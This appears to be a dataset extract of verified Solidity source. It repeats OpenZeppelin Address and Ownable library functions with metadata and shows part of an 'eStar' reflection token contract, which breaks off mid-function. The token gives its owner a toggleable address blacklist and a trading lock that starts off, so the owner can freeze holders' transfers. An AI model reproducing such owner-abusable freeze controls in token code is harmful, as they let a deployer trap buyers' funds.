require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
| /**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
3318,
3496
]
} | 1,329 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
3721,
3922
]
} | 1,330 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
4292,
4523
]
} | 1,331 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
4774,
5095
]
} | 1,332 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/ | NatSpecMultiLine | owner | function owner() public view returns (address) {
return _owner;
}
| /**
* @dev Returns the address of the current owner.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
497,
581
]
} | 1,333 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/ | NatSpecMultiLine | renounceOwnership | function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
| /**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
1139,
1292
]
} | 1,334 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/ | NatSpecMultiLine | transferOwnership | function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
| /**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
1442,
1691
]
} | 1,335 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | eStar | contract eStar is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
//added now
mapping (address => bool) private bot;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'Ethereum Star ★';
string private constant _SYMBOL = 'eStar ★';
uint8 private constant _DECIMALS = 8;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 1000000000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 200;
uint256 private constant _BURN_FEE = 100;
uint256 private _MAX_TX_SIZE = 300000 * _DECIMALFACTOR;
bool public tradingEnabled = false;
address private LiquidityAddress;
uint256 private _MAX_WT_SIZE = 600000 * _DECIMALFACTOR;
uint256 public _marketingFee = 100;
address public marketingWallet = 0xac14a3880C0a192983640297976413E022876469;
uint256 private _previousmarketingFee = _marketingFee;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
//added this
function setBot(address blist) external onlyOwner returns (bool){
bot[blist] = !bot[blist];
return bot[blist];
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(account != 0x73feaa1eE314F8c655E354234017bE2193C9E24E, 'We can not exclude Pancake router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner()){
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
require(!bot[sender], "Play fair");
require(!bot[recipient], "Play fair");
if (recipient != LiquidityAddress) {
require(balanceOf(recipient) + amount <= _MAX_WT_SIZE, "Transfer amount exceeds the maxWtAmount.");
}
}
if (sender != owner()) {
require(tradingEnabled, "Trading is not enabled yet");
}
_previousmarketingFee = _marketingFee;
uint256 marketingAmt = amount.mul(_marketingFee).div(_GRANULARITY).div(100);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount.sub(marketingAmt));
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount.sub(marketingAmt));
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount.sub(marketingAmt));
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount.sub(marketingAmt));
} else {
_transferStandard(sender, recipient, amount.sub(marketingAmt));
}
//temporarily remove marketing fees
_marketingFee = 0;
_transferStandard(sender, marketingWallet, marketingAmt);
_marketingFee = _previousmarketingFee;
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
